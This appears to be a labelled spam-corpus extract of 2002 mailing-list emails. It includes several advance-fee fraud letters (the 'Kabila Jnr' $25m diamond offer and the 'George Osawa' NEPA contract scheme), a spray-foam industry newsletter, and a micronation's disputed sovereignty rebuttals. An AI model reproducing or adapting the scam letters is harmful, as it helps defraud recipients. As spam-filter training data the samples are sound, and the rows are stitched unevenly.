KABILA"" ",social@linux.ie,"Fri, 6 Sep 2002 10:06:57 +0200",[ILUG-Social] please kindly get back to me,"REQUEST FOR URGENT BUSINESS ASSISTANCE -------------------------------------- Your contact was availed to me by the chamber of commerce. It was given to me because of my diplomatic status as I did not disclose the actual reasons for which I sought your contact. But I was assured That you are reputable and trustworthy if you will be of assistance. I am Laurent Mpeti Kabila (Jnr) the second son of Late President LAURENT DESIRE KABILA the immediate Past president of the DEMOCRATIC REPUBLIC OF CONGO in Africa who was murdered by his opposition through his personal bodyguards in his bedroom on Tuesday 16th January, 2001. I have the privilege of being mandated by my father colleagues to seek your immediate and urgent co-operation to receive into your bank account the sum of US $25m.(twenty-five million Dollars) and some thousands carats of Diamond. This money and treasures was lodged in a vault with a security firm in Europe and South-Africa. SOURCES OF DIAMONDS AND FUND In August 2000, my father as a defence minister and president has a meeting with his cabinet and armychief about the defence budget for 2000 to 2001 which was US $700m. so he directed one of his best friend. Frederic Kibasa Maliba who was a minister of mines and a political party leader known as the Union Sacree de, I opposition radicale et ses allies (USORAL) to buy arms with US $200m on 5th January 2001; for him to finalized the arms deal, my father was murdered. f.K. Maliba (FKM) and I have decided to keep the money with a foreigner after which he will use it to contest for the political election. Inspite of all this we have resolved to present your or your company for the firm to pay it into your nominated account the above sum and diamonds. This transaction should be finalized within seven (7) working days and for your co-operation and partnership, we have unanimously agreed that you will be entitled to 5.5% of the money when successfully receive it in your account. The nature of your business is not relevant to the successful execution of this transaction what we require is your total co-operation and commitment to ensure 100% risk-free transaction at both ends and to protect the persons involved in this transaction, strict confidence and utmost secrecy is required even after the successful conclusion of this transaction. If this proposal is acceptable to you, kindly provide me with your personal telephone and fax through my E-mail box for immediate commencement of the transaction. All correspondence is for the attention of my counsel:joseph edward. I count on your honour to keep my secret, SECRET. Looking forward for your urgent reply Thanks. Best Regards MPETI L. KABILA (Jnr) -- Irish Linux Users' Group Social Events: social@linux.ie http://www.linux.ie/mailman/listinfo/social for (un)subscription information. List maintainer: listmaster@linux.ie",1,1 Andy Koh ,zzzz-register-com@spamassassin.taint.org,6 Sep 2002 07:04:43 -0000,FriendSearch and zzzzason.org Partnership,"Dear zzzzason.org, My name is Andy Koh, the Business Development Manager for FriendSearch.com. Could you please forward this to the person in charge of new partnerships and advertising. FriendSearch currently powers web personals and love sites for over 10,000 partners on the web, across over 200 countries. Some of our partners include AllCommunity.com, CariKawan.com, HotPlugins.com, Free-Banners.com and much more. Over the months, our partners have been pleasantly surprised to find that we are steadily earning them significant revenue streams, month after month. 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But I was assured That you are reputable and trustworthy if you will be of assistance. I am Laurent Mpeti Kabila (Jnr) the second son of Late President LAURENT DESIRE KABILA the immediate Past president of the DEMOCRATIC REPUBLIC OF CONGO in Africa who was murdered by his opposition through his personal bodyguards in his bedroom on Tuesday 16th January, 2001. I have the privilege of being mandated by my father colleagues to seek your immediate and urgent co-operation to receive into your bank account the sum of US $25m.(twenty-five million Dollars) and some thousands carats of Diamond. This money and treasures was lodged in a vault with a security firm in Europe and South-Africa. SOURCES OF DIAMONDS AND FUND In August 2000, my father as a defence minister and president has a meeting with his cabinet and armychief about the defence budget for 2000 to 2001 which was US $700m. so he directed one of his best friend. Frederic Kibasa Maliba who was a minister of mines and a political party leader known as the Union Sacree de, I opposition radicale et ses allies (USORAL) to buy arms with US $200m on 5th January 2001; for him to finalized the arms deal, my father was murdered. f.K. Maliba (FKM) and I have decided to keep the money with a foreigner after which he will use it to contest for the political election. Inspite of all this we have resolved to present your or your company for the firm to pay it into your nominated account the above sum and diamonds. This transaction should be finalized within seven (7) working days and for your co-operation and partnership, we have unanimously agreed that you will be entitled to 5.5% of the money when successfully receive it in your account. The nature of your business is not relevant to the successful execution of this transaction what we require is your total co-operation and commitment to ensure 100% risk-free transaction at both ends and to protect the persons involved in this transaction, strict confidence and utmost secrecy is required even after the successful conclusion of this transaction. If this proposal is acceptable to you, kindly provide me with your personal telephone and fax through my E-mail box for immediate commencement of the transaction. All correspondence is for the attention of my counsel:joseph edward. I count on your honour to keep my secret, SECRET. Looking forward for your urgent reply Thanks. Best Regards MPETI L. KABILA (Jnr) -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",1,1 """George Osawa"" ",ilug@linux.ie,"Fri, 6 Sep 2002 10:28:15 +0100",[ILUG] From the desk of : George Osawa,"NIGERIA ELECTIRC POWER AUTHORITY FEDERAL SECRETARIAT IKOYI-LAGOS. FROM THE DESK OF:George Osawa I am the Chairman Contract Review Committee of National Electric Power Authority (NEPA). Although this proposal might come to you as a surprise since it is coming from someone you do not know or ever seen before, but after due deliberations with my colleagues, I decided to contact you based on Intuition. We are soliciting for your humble and confidential assistance to take custody of Seventy- One Million, Five Hundred Thousand United States Dollars.{US$71,500,000.00}. This sum (US$71.5M) is an over invoice contract sum which is currently in an offshore payment account of the Central Bank of Nigeria as an unclaimed contract entitlement which can easily be withdrawn or drafted or pay to any recommended beneficiary by my committee. On this note, you will be presented as a contractor to NEPA who has executed a contract to a tune of the above sum and has not been paid. Proposed Sharing Partern (%): 1. 70% for me and my colleagues. 2. 20% for you as a partner/fronting for us. 3. 10% for expenses that may be incurred by both parties during the cause of this transacton. Our law prohibits a civil servant from operating a foreign account, hence we are contacting you. If this proposal satisfies you, do respon as soon as possible with the following information: 1. The name you wish to use as the beneficiary of the fund. 2. Your Confidential Phone and Fax Numbers. Further discussion will be centered on how the fund shall be transfer and full details on how to accomplish this great opportunity of ours. Thank you and God bless. Best regards, George Osawa -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. 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If you see this, your mail client does not support HTML messages. ------=_NextPart_QXVROEFEFX Content-Type: text/html;charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit     The Industry Forum Minute Man II 160 lbs. light - requires no electricity - under $6000 complete! Now everybody can be a foamer!     Small, one time project?Froth-Pak is the answer! Smallest self-contained out-of-box foam application for repairs and small jobs! Also available: Insta-Stick, Tilebond, RoofPak and more! Get Your Copy of The Industry Catalog! Most complete reference for our industry! Click on the picture above to learn more about the equipment!     The Industry Forum Issue #136 10341Forum Members #136-1: Dik M, PA It would be much more useful to the industry, if SPFA would help find a ""CODE CONFORMING"" fire barrier for attics, crawl spaces etc., than  lecture on Fast and Loose applications of code.  Something about 30 cents (a BD. FT.) installed, meeting All codes and spray applied. Many companies we talk to have a product that appears to be perfect BUT they haven't spent the money to test over foam. Maybe a small committee could do a evaluation of various products, report results to SPFA, who in turn will ""acquire funding"" from US.   #136-2 William B, Australia we are in Australia but we are finding it hard to locate polyurea sprayers here so that we can start a chapter of the pda do u have any list of Australian contractors /suppliers ????or maybe they can put their hand up and lets us know at enviroline@powerup.com.au, it is for the better of the game that an association is need to inform clients and specifiers of the uses and properties of polyureas and train its own members,also to keep cowboys out that give the industry a bad name   #136-3 Ed M. I am a writer for aviation magazines and one that I write for is a Test International, a new publication that just launched this month. I need any new processes you might have that would be used on aircraft, particularly commercial aviation.  #136-4 John C, Louisiana I have a Foam Cat 2000 Graco machine and a Probler gun with a 01 tip.  I use this setup to spray truck bed liners.  My question is can I and how do I spray foam insulation using my equipment?  And what are the different types of insulation?   #136-5 Murph Mahaffey, Glas-Craft I like the new look of the Industry Forum!   #136-6 Mark W, South Carolina I'm sick of all this garbage about covering foam with a ""thermal Barrier"". What the hell do you think foam is? If you are saying that anything that can be FORCED to burn should be covered with a FIREPROOF barrier, then you'd better get busy covering all those trusses and joists and plywood up there that are definitely NOT carrying a class one fire rating. This double standard for foam is coming directly from those who stand to lose business from it. Icynene is DIFFERENT.  IT DOESN'T BURN ALONE. IT DOESN'T MELT. IT DOESN'T EMIT PHOSGENE. Does it smoke in a fire situation? Sure, so what? Blaming foam in the attic for a house fire because it forces the foam to eventually burn is about as stupid as blaming foam seat cushions for burning when a gas tank ruptures and burns up a car. Get real, inspectors. You want us to cover up the only thing in the attic assembly that DOESN'T BURN!  As for the vaunted R rating system, IT IS TOTALLY BOGUS. The test is designed to make porous insulations APPEAR to perform better than they actually do.  Measuring only conduction and ignoring convection and radiant to convective transfer, the test should have been thrown out for the industry lackey it is 20 years ago, along with that obsolete fiberglassgarbage they're still selling everybody.  There's a reason they don't make refrigerators, freezers coolers & coffee cups out of fiberglass or cellulose.   Think about it.   #136-7 Dirk Benthien, Forum Moderator Thank you, Mark and Dik, for your statements above. I also feel that far too often individuals and companies are too complacent and quietly live with rules and regulations without trying to change them  -  even if everybody knows they do not make sense. We are all experts and representatives of this industry and should speak up and promote change!   #136-8 Martin S, Canada Does anyone make a dispensing machine for crumb rubber / urethane blends ?   #136-9 Carole L, California re #135-8 Otto V, Germany What are the answers? (Phase-out of 141b)   #136-10 Brian D, Canada     There has been a lot of talk about ceramic coatings.  We are a distributor of such a coating.  We have never professed an R-20.  Reason = is there isn't an ASTM test available to measure coatings for R-value. We compare standardized insulation to Ceramic coatings via BTU loss calculations.  Depending on the criteria we can equal 2 to 3 inches of standard insulation with an aluminum jacket.  We have the data and the projects to prove it.  #136-11 CPI We have inquiries from a number of people for used equipment - especially Gusmer H20/35, H2000, H2, GX-7 and Glas-Craft Probler. Please contact 805-552-9128.++++++++++++++++++++++++++++ End of messages. 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Subject: EnenKio truth (Answers) Date: Sat, 13 Jul 2002 23:51 EST From: enenkio@webtv.net (Robert Moore) To:microfreedom@netscape.net ""EnenKio truth (Answers)"" - News Archives - PREVIOUS NEWS RELEASES AND ANNOUNCEMENTS July 28, 1999: Replies to Asia Times July 22, 1999: News Release - Gold Bonds June 4, 1999: Replies to Published Articles June 3, 1999: Replies to Published Articles June 2, 1999: Replies to Published Articles June 1, 1999: News Release, Reply to RMI, Part 1 June 1, 1999: News Release, Reply to RMI Part 2 March 16, 1999: News Release, Selection of Second Monarch March 1999 -- MoFA Comments on ""State of War"" December 19, 1998: News Release, Death of First Monarch July 14, 1998: Communiqué, Replies to False Claims May 4, 1997: News Release, Gold Stamps March 31, 1997: News Release, Declaration of existence of a virtual ""State of War"" February 6, 1995: News Release, Setting the Record Straight November 21, 1994: News Release, Declaration of Claim & Demand for Payment RETURN TO NEWS Previous News Releases and Announcements Their statements are set forth in italicized orange type; our replies are in black type. June 4, 1999- Sirs: The following text was located on a site written or placed by you or under your control: ""DOM is located on Karitane Island and now includes the Taongi Atoll in the Northern Atolls of the Marshall Islands in the South Pacific 1000 miles south of Tahiti. However, the Marshall Islands government has condemned the ""fraudulent assertions"" of two organizations, namely the DOM and sister nation, the Kingdom of EnenKio (the Marshallese name for Wake Island), claiming to represent the mid-Pacific nation amid an alleged investment scam according to an article in Agence France- Presse. The Marshall Islands foreign ministry has issued warnings to countries against acknowledging any fraudulent claims made by representatives of either nation."" ""A Honolulu-based attorney created the ""Kingdom of EnenKio"" in the early 1990s. It was based on a power of attorney agreement with Marshall Islands paramount chief Mursel Hermios, which granted the attorney broad powers to act on his behalf. The Marshall Islands High Court has ruled the agreement invalid and ordered it nullified, which the ""kingdom"" has disputed."" http://www.goldhaven.com/issue4/Two.htm (disconnected as of 2/1/00) The purpose of this letter is lodge a formal request for correction of false and misleading statements made by the author regarding the Kingdom of EnenKio. While I am pleased to find you have apparently taken a serious interest in the Kingdom of EnenKio, I am aghast at how distorted, erroneous and misleading the article is. As a consequence of my service to His Majesty King Remios and the people of EnenKio, I am obligated to respond to incidents such as this. I will respectfully offer the following line by line correction. For your convenience, your text will be set off (with ""**"") in color: **DOM is located on Karitane Island and now includes the Taongi Atoll in the Northern Atolls of the Marshall Islands in the South Pacific 1000 miles south of Tahiti.** (Comment: The construction of this statement implies the Marshall Islands are in the South Pacific Ocean 1000 miles south of Tahiti, in which case a reader may be misled.) Correction: DOM is located on Karitane Island in the South Pacific, 1000 miles south of Tahiti, and now includes Taongi Atoll in the Northern Atolls of the Marshall Islands in the North Pacific. **However, the Marshall Islands government has condemned the ""fraudulent assertions"" of two organizations, ...** (Comment: Just because the RMI government ""...has condemned the 'fraudulent assertions' ...of ...EnenKio..."", does that make it true? Why would you want to quote anything from a government that has been internationally criticized [and documented] time and again for fraud, abuse of human rights, outright theft and is in default on almost every financial obligation it has ever made? What purpose do you propose to serve by attacking a concerned group of dedicated people fighting for the very lives of Marshallese natives who have been overrun by foreign invaders, bathed in radiation from nuclear fallout and abused by their own corrupt government?) **...namely the DOM and sister nation, the Kingdom of EnenKio (the Marshallese name for Wake Island),...** (Comment: Nothing could be further from the truth. we cannot speak for DOM, but as for the Kingdom, we don't even know what being a ""sister nation"" means and for you to make this categorically false statement is not only a blatant sign of ignorance of the state of EnenKio, it is a deceptive intrusion upon the sovereign, His Majesty King Remios, the sovereign of EnenKio and Eneen-Kio Atoll, and an inexplicable and irresponsible abuse of journalism. Doesn't anybody check sources anymore?) Correction: The Kingdom of EnenKio is an independent sovereign state and the same could be said for DOM. **...claiming to represent the mid-Pacific nation amid an alleged investment scam according to an article in Agence France- Presse.** (Comment: The government of the Kingdom of EnenKio represents the people of EnenKio, who are forced to live in exile from Eneen-Kio Atoll, lands and seas that played a significant role in Marshallese culture for perhaps 2000 years. Furthermore, ""...an article in Agence France-Presse"" has no merit as it was authored by a source in the Marshall Islands government. My preceding comments apply. The Kingdom of EnenKio is not now and never has been engaged in an ""...investment scam..."". We have tried for many years to attract qualified investors and funding sources for programs that will not only benefit the people of EnenKio, but also will positively impact people around the globe. In fact, we are currently working with a former NASA Astronaut. One tool scammers have in their arsenal is to discredit visionary programs of legitimate entities so they can feed on carcasses of the ignorant. Many journalists use the same technique to sell their stories on sensationalism. Doesn't anybody check sources anymore?) **The Marshall Islands foreign ministry has issued warnings to countries against acknowledging any fraudulent claims made by representatives of either nation.** (Comment: The Kingdom of EnenKio has made no ""fraudulent claims"" of which I am aware, and in my post, I am responsible for all published information. I would personally caution any ""..countries against acknowledging any fraudulent claims made by representatives of..."" nations, companies or publications if I had credible proof to that effect. However, my preceding comments apply as to credibility of any RMI ministry source. Furthermore, the RMI has repeatedly attacked the credibility of His Majesty King Hermios, who happens to be the ancestral sovereign owner under Marshallese custom of over 1/3 of the land in the Marshall Islands, including recent attempts to sequester him against his will. We believe some officials in the RMI are afraid of what will happen to them if honesty and integrity returns to the administration of lands and programs to assist the people with their pressing needs and they no longer have their hands on the till. To perpetrate their jaundiced agenda is an irresponsible abuse of journalism.) **A Honolulu-based attorney created the ""Kingdom of EnenKio"" in the early 1990s.** (Comment: Mr. Moore is not an Attorney, though he was living in Honolulu in the early 1990s.) Correction: The Kingdom of EnenKio was established by decree of the owner of Eneen-Kio Atoll [a.k.a. Enen-kio, Halcyon, Disclerta, Wake and 6-8 other names], Iroijlaplap Murjel Hermios, who then was Paramount Chief of the Northern Ratak atolls [he passed away in December 1998] and was fully recognized by the RMI government. He declared the sovereign state of EnenKio in 1994, whereupon the people chose him as their King over Eneen-Kio Atoll, ratified the Constitution and established government as a limited constitutional monarchy. **It was based on a power of attorney agreement with Marshall Islands paramount chief Mursel (sic) Hermios, which granted the attorney broad powers to act on his behalf.** Correction: The establishment of the Kingdom of EnenKio was made possible by Murjel's appointment of Mr. Robert Moore, the adopted brother of Hermios, Alab of Taongi Atoll and a private citizen, to the post of Minister Plenipotentiary. The document of appointment was also a Special Power of Attorney which granted Mr. Moore very specific instructions to do whatever was possible to expel the United States from Eneen-Kio Atoll and establish an independent state on Hermios' and the people's behalf. **The Marshall Islands High Court has ruled the agreement invalid and ordered it nullified, which the ""kingdom"" has disputed.** (Comment: Since when is a Special Power of Attorney an ""agreement""? The Marshall Islands High Court has no record or knowledge of the Special Power of Attorney, except as has been publicized by the Kingdom of EnenKio, and certainly exercises no jurisdiction over Eneen-Kio Atoll, which lies over 100 miles north of lawful RMI boundaries. The RMI has no political or territorial jurisdiction over the islands and seas of Eneen-Kio Atoll because the atoll, by any name you choose, was not incorporated into the RMI when it formed its government in 1979, nor was it subsequently incorporated by any act, law, mandate or otherwise of any present or former Iroijlaplap or Monarch of Eneen-Kio and any statement to the contrary is false, fraudulent and irresponsible.) Finally, I suggest you, as a journalist or publisher, do a little more research, not only into establishment and development of the Kingdom of EnenKio, but into the prehistoric history and more recent U.S. invasion of Eneen-Kio Atoll, properly named by 'Marshallese' centuries before arrival of colonial western powers and missionaries. Then I invite you to our Embassy in Honolulu to review the public files and documents mentioned above, all of which exist in hard copy (not in 'cyberspace') and most of which are referenced or published at our official web site. Be sure to view the documents at our Resource Center which show, in many cases, full-color digitized letters of correspondence with the 59 or so states in the world, many of which are first world. In closing, I would simply appeal to your presumed sense of morality and ethics and request the referenced article be amended or corrected and , if corrected elsewhere, that a link be provided to the relevant paragraph cited above in the article. SKIP TO NEXT FILE TOP OF PAGE June 3, 1999- Sir: The following report was sent to me in which the author mentions the Kingdom of EnenKio (thank you for spelling 'EnenKio' correctly. The purpose of this letter below is to lodge a formal request for correction of false and misleading statements made by the author regarding the Kingdom of EnenKio. ""Fantasy Island"" -- ""Melchizedek passport scam reveals how the Internet can take fraud to new frontiers"" By Bertil Lintner in Bangkok, December 10, 1998: ""Determined not to give up, Pedley moved his fictional nation once again, this time to Taongi atoll in the Western Pacific. According to a Melchizedek press release, posted on its home page, Taongi was leased in 1997 under a treaty with representatives of ""the kingdom of EnenKio,"" another only-in- cyberspace country, which in this case claims the U.S.-held Wake Island. In real life, Taongi is an uninhabited atoll in the Marshall Islands."" http://www.feer.com/Restricted/index_corrections.html (link to article of December 24, 1998: ""Fantasy Island"", disconnected as of 2/1/00) Response to the author: I am unable to locate the ""Melchizedek press release"" you cited, indicating that ""...Taongi was leased in 1997 under a treaty with representatives of ""the kingdom of EnenKio,..."". Such an act would be impossible and implausible as EnenKio has no legal authority or political jurisdiction over Taongi Atoll in the Marshall Islands. Further more, Melchizedek (DOM) is not so uninformed as to publicly advertise an illegal act in the midst of attempting to find a suitable land base for its people to administer their form of government. The Kingdom of EnenKio did enter into a treaty with DOM on the 19th day of September, 1997, but it did not convey a lease of land. It declared a state of peace and established diplomatic recognition between our governments. However, a prior agreement, signed in May 1997, which had nothing to do with the Kingdom of EnenKio, transferred Mr. Robert Moore's rights to develop Taongi from Mr. Moore to DOM. It did not convey a lease at that time and no such document is in existence. This was made possible because Mr. Moore is the Alab (one class of landowner) of Taongi and had a legal power of attorney pertaining to Taongi Atoll, from the principal landowner, Iroijlaplap (Paramount Chief) Murjel Hermios, who was aware of and supported the transaction. Consideration, if any, under the agreement was personally retained by Mr. Moore, who is also the adopted brother of Hermios. Now, please understand, that while Mr. Moore was acting in the latter case on his own behalf, and that of the future use and development of Taongi, which would have generated an income to Iroijlaplap Hermios, Mr. Moore wears another hat as Minister Plenipotentiary of the Kingdom of EnenKio. Iroijlaplap Hermios, also wore (he died in December 10, 1998, the same date of your article) other hats: one as First Monarch, King of the Kingdom of EnenKio and one as owner in allodium of Eneen-Kio Atoll (a.k.a. Enen-kio, Halcyon, Disclerta, Wake and several other names). For you to state the Kingdom of EnenKio is ""...another only-in- cyberspace country..."", as you did in the above article, is not only a completely and categorically false statement, but it is a blatant sign of ignorance of the state of EnenKio. And, it is a blatant deceptive intrusion upon His Majesty King Hermios, the sovereign of EnenKio and Eneen-Kio Atoll, and an inexplicable and irresponsible abuse of your journalistic license -- unless, of course, your statement could be proved accurate. I suggest you do a little more research, not only into the establishment and development of the Kingdom of EnenKio, but into the prehistoric history and more recent U.S. invasion of Eneen-Kio Atoll, properly named by 'Marshallese' centuries before arrival of colonial western powers and missionaries. Then I invite you to our Embassy in Honolulu to review the public files, all of which exist in hard copy (not 'cyberspace') and most of which are referenced or published at our official web address: Be sure to view the documents at our Resource Center which show, in many cases, full-color digitized letters of correspondence with the 59 or so states in the world, many of which are first world. In closing, I would simply appeal to your presumed sense of morality and ethics and request the referenced article be amended or corrected and that the link be added to the relevant paragraph cited above in the article. SKIP TO NEXT FILE TOP OF PAGE June 2, 1999- Sir: The following statement (in quotes) was copied from one of your Footnotes to History -D and E (disconnected as of 12/1/00). ""Enenkio Atoll- In 1898, the United States annexed Wake Island, in the Marshall Islands of the western Pacific. After the Marshalls became a U.S. Trust Territory, the traditional chiefs of the area agitated for recognition that Wake Island was a part of the Marianas chain, and pressed their historical claims to the atoll, called Enenkio locally. The U.S. government has consistently ignored these claims. The protests took a sharper turn after the U.S. Congress in 1993 acknowledged the illegality a hundred years earlier of the establishment by Americans of the Republic of Hawai'i. King Murjel Hermios, who is paramount chief of an archipelago in the northern Marshalls, declared Wake Island's independence in 1987. The Marshalls recognized this claim shortly after the nation gained its independence. In return for his services as Minister Plenipotentiary in the United States, Hermios granted American businessman Robert Moore land on Taongi Atoll in the northern Marshalls, which Moore has declared the Dominion of Melchizedek."" Comment: With all candor, I cannot figure how such straight forward facts such as we have presented to the public and over the Internet since 1994 could have possibly been construed into the above referenced text. While I am pleased to find you have apparently taken a very serious interest (unless your site is intended as some twisted joke, which I am assuming is not the case) in the history of the Kingdom of EnenKio, I am aghast at how distorted, erroneous and misleading your summary is. As a consequence of my service to His Majesty King Remios and the people of EnenKio, I will respectfully offer the following line by line correction. For your convenience, your text will be set off (with ""**"") in color: **In 1898, the United States annexed Wake Island, in the Marshall Islands of the western Pacific.** Correction: In 1898, the United States invaded Wake Island, the northernmost atoll -- actually named Eneen-Kio centuries before western explorers arrived -- of the Ratak chain of Marshall Islands in Micronesia and the Central North Pacific Ocean. The Author responds: ""Rest assured that I did not mean to downplay the role of violence in the American acquisition of the territory."" **After the Marshalls became a U.S. Trust Territory, the traditional chiefs of the area agitated for recognition that Wake Island was a part of the Marianas chain, and pressed their historical claims to the atoll, called Enenkio locally.** Correction: Following W.W.II, the Trust Territories of the Pacific, which included the Marshall Islands, was placed under administration of the United States by the United Nations. While Eneen-Kio was well established as one of the Marshalls, the U.S. only knew it as Wake and, having lost many U.S. lives there in 1941 at the hands of Japanese invaders, kept control of it. In 1993, the Paramount Chief of the Ratak atolls pressed his clan's historical and lawful claim to the 3 islands of Eneen-Kio Atoll. The Author responds: ""I don't see much conflict between the two versions here."" **The U.S. government has consistently ignored these claims.** Correction: The U.S. government has consistently ignored claims from the Marshall Islands government, which failed to exert a claim during its move to independence in 1979, and from the former traditional landowners, including Iroijlaplap Murjel Hermios. The Author responds: ""I will note this."" **The protests took a sharper turn after the U.S. Congress in 1993 acknowledged the illegality a hundred years earlier of the establishment by Americans of the Republic of Hawai'i.** Correction: The Eneen-Kio claims gained some new momentum after precedents were set by the U.S. Congress, when in 1993 they acknowledged the illegality of the 1893 overthrow of the Monarch of the Kingdom of Hawai'i by a group of American businessmen and U.S. Marines, and in the following year returned the island of Kaho'olawe to the Hawaiian People. **King Murjel Hermios, who is paramount chief of an archipelago in the northern Marshalls, declared Wake Island's independence in 1987.** Correction: King Murjel Hermios, who was Paramount Chief until his death in December 1998, declared the sovereign state of EnenKio in 1994, whereupon the people chose him as their King over Eneen-Kio Atoll, ratified the Constitution and established government as a limited constitutional monarchy. The Author responds: ""I will make the necessary corrections here."" **The Marshalls recognized this claim shortly after the nation gained its independence. In return for his services as Minister Plenipotentiary in the United States, Hermios granted American businessman Robert Moore land on Taongi Atoll in the northern Marshalls, which Moore has declared the Dominion of Melchizedek.** Correction: After the death of the First Monarch, his brother Remios succeeded to the throne as Second Monarch and rules along with his brother, Crown Prince Lobadreo, over the Kingdom of EnenKio today. To continue the commentary: The parts left out were either wrong or have nothing to do with the history of the Kingdom of EnenKio itself. Since HM King Remios also succeeded to Iroijlaplap of the northern Ratak atolls of the Marshall Islands, he also has responsibilities over 10 atolls, 2 islands and over 300 atoll islets. But that is another story, which has nothing directly to do with the Kingdom of EnenKio. I have offered this treatise in hopes that you will find the time to correct your site per my suggestions. Please feel free to contact me or view our pages at the address above. Thank you in advance for your attention and interest in this matter. The Author responds: ""I imagine that you are asserting here that Moore's Melchizedek project (which can be located on the web through the Sources & Bibliography section of my web page) is non-existent. Be assured I will look further into\par this. Thank you again for your response, Captain Rydell. I should be posting a revised version of the page in the next week or so."" (June 7, 1999) SKIP TO NEXT FILE TOP OF PAGE June 1, 1999: News Release Part One Background: On May 21, 1999, the Ministry of Foreign Affairs and Trade of the Republic of the Marshall Islands posted a ""press release"" on the Internet at: http://www.yokwe.net/mboard/newsinfo/thread.cgi?67,0\cf0 (discontinued as of 12/1/00). The author, ""Mr. Joseph Biglar, Undersecretary"", is not known to us, has not heretofore communicated with the government of the Kingdom of EnenKio, nor with its Monarch, His Majesty King Remios, at any time and has no knowledge of any policies or state activities of EnenKio. There is no valid reason to assume that the said ""press release"" is indeed an official document. The Republic of the Marshall Islands has perfect knowledge that representatives of the Kingdom of EnenKio, headed by His Majesty King Remios, on the basis of his proper and lawful authority, have the right and obligation to speak in support of the interests of certain persons, many of whom happen to be Marshallese nationals residing in the Marshall Islands. Response to so-called ""Press Release"": This unprovoked attack upon His Majesty King Remios, Monarch of the Kingdom of EnenKio, by the Ministry of Foreign Affairs and Trade of the Republic of the Marshall Islands is wholly false. It is also unjustifiably inflammatory and amounts to little more than an unquestionable confirmation of the predilection for infringement upon Marshallese sovereign rights exercised by the current administration of the Republic of the Marshall Islands, which has been confirmed by the U.S. State Department. (See: Human Rights Report) This public posting shall serve as constructive notice to the Marshall Islands Government that any attempt to interfere in the business of His Majesty King Remios, Iroijlaplap of the Northern Ratak atolls of the Marshall Islands, or any acts, decisions, mandates, announcements or directives thereby, shall be met with definitive responses equal to the degrees of contravention. The RMI is unequivocally cognizant that the Kingdom of EnenKio: » » exists as a sovereign state as defined by the Montevideo Convention (1933). » » was conceived as a separate independent state by its sovereign, Iroijlaplap Murjel Hermios, in 1987. » » was established by way of a public authority, the Constitution of the Kingdom of EnenKio Atoll, ratified in 1994 by its people. » » has negotiated diplomatic and trade treaties with many other states, including the Dominion of Melchizedek » » has asserted political and territorial jurisdiction over islands and seas which lie entirely outside and well beyond the area defined as - now quoting Mr. Biglar's statement - ""RMI geographical and political boundaries."" » » exercises authorities founded upon prehistoric traditional and matriarchal ancestral rights and titles bestowed, under the sacred heritage of Marshallese customary law (reinforced by the RMI Constitution), upon the acknowledged Iroijlaplaps of the Northern Ratak atolls, whose authority is certainly not subject to scrutiny by Ministry of Foreign Affairs and Trade of the Republic of the Marshall Islands. » » has not subjugated, assigned or encumbered any of its political jurisdiction within its defined territorial boundaries of islands and seas of Eneen-Kio Atoll to the government or people of the Dominion of Melchizedek or to any other entity, including the Republic of the Marshall Islands. Mr. Biglar is unequivocally cognizant that the Republic of the Marshall Islands: » » also exists as a sovereign state, defined by the Montevideo Convention (1933). » » was conceived as a separate state by (UN) foreign governments, which included the United States, China and the USSR. » » was also established under a public authority, the Constitution of the Marshall Islands, ratified in 1979 by its people. » » has no relations with EnenKio that allows RMI knowledge of anything that is not also public information and no such public information respecting relations with the Dominion of Melchizedek has ever been disseminated to harm the RMI to be condemned by Mr. Biglar. » » has no political or territorial jurisdiction over the islands and seas of Eneen-Kio Atoll, which was not incorporated into the RMI in 1979, nor subsequently incorporated by any act, law or mandate of any present or former Iroijlaplap or Monarch thereof and any statement to the contrary is fraudulent, as in the instant matter. » » exercises authorities founded upon the RMI Constitution, which does not incorporate nor authorize political jurisdiction over territorial boundaries that include the islands or seas of Eneen-Kio Atoll and any statement to the contrary is fraudulent, as in the instant matter. » » has refused to acknowledge the leadership of the Kingdom of EnenKio in their every attempt to get the RMI government to mitigate the suffering of people residing in the Ratak atolls, under jurisdiction of Iroijlaplap Hermios, and the RMI has rejected every suggestion to coordinate prospective relief efforts through the said Iroijlaplap Hermios. The Ministry of Foreign Affairs and Trade of the Republic of the Marshall Islands is steadfastly advised that any unilateral statements or actions by the administration of the Republic of the Marshall Islands which purport, seek or serve to diminish or question the credibility, existence or authority of the government of the Kingdom of EnenKio in the conduct of its affairs of state, without legitimate authentication by a court of competent jurisdiction, are hereafter to be taken as deliberate acts of aggression upon the Monarch of the Kingdom, His Majesty King Remios, as Head of State, the government of the Kingdom of EnenKio and its people, and will be countered with appropriate responsive measures. Furthermore, in light of the Ministry of Foreign Affairs and Trade of the Republic of the Marshall Islands announcement concerning the Kingdom of EnenKio, your attention is respectfully directed to the following statement in the Preamble of the Constitution of the Marshall Islands, then you decide for yourself: ""With this Constitution, we affirm our desire and right to live in peace and harmony, subscribing to the principles of democracy, sharing the aspirations of all other peoples for a free and peaceful world, and striving to do all we can to assist in achieving this goal."" On behalf of His Majesty King Remios, we, administrators of the Kingdom of EnenKio, have wholeheartedly agreed to pursue the same goal for a free and peaceful world and have made no effort to the contrary. (See also: Report on RMI Mismanagement) SKIP TO NEXT FILE TOP OF PAGE News Release, Part Two, June 1, 1999 Part Two Background: The International Narcotics Control Strategy Report, 1998 (click on reference # 2 below) released by the Bureau for International Narcotics and Law Enforcement Affairs, U.S. Department of State, Washington DC, February 1999, states as follows: ""Where Are OFCs Located? [Paragraph 4] Thus, it is now possible for an enterprising jurisdiction anywhere in the world to establish itself as an emerging OFC. The newest OFCs, e.g., Niue and the Marshall Islands, are now sprouting in remote areas of the world, such as the Pacific. Even more ""remote"" are mere figments of fertile imaginations such as the Dominion of Malchizedek (sic) or The Kingdom of Enenkio Atol (sic), both entirely fraudulent in intent and practice."" [note: OFC = Offshore Financial Center] Response: This unprovoked attack upon His Majesty King Remios, Monarch of the Kingdom of EnenKio, the sovereign state of EnenKio and its noble citizenry by the U.S. Department of State is a reprehensible categorically false challenge of the sovereignty of the Kingdom of EnenKio. It is also unjustifiably inflammatory and amounts to an unqualified felonious defamation of the international reputation of His Majesty King Remios, the government of the Kingdom of EnenKio and organs thereof. The unmitigated audacity and arrogance of the United States to attempt to link the Kingdom of EnenKio with International Crime, narcotics trafficking, money laundering, tax evasion, international drug cartels, terrorists, bank fraud or any other sort of criminal activity, without even one microscopic fragment of substantive evidence to 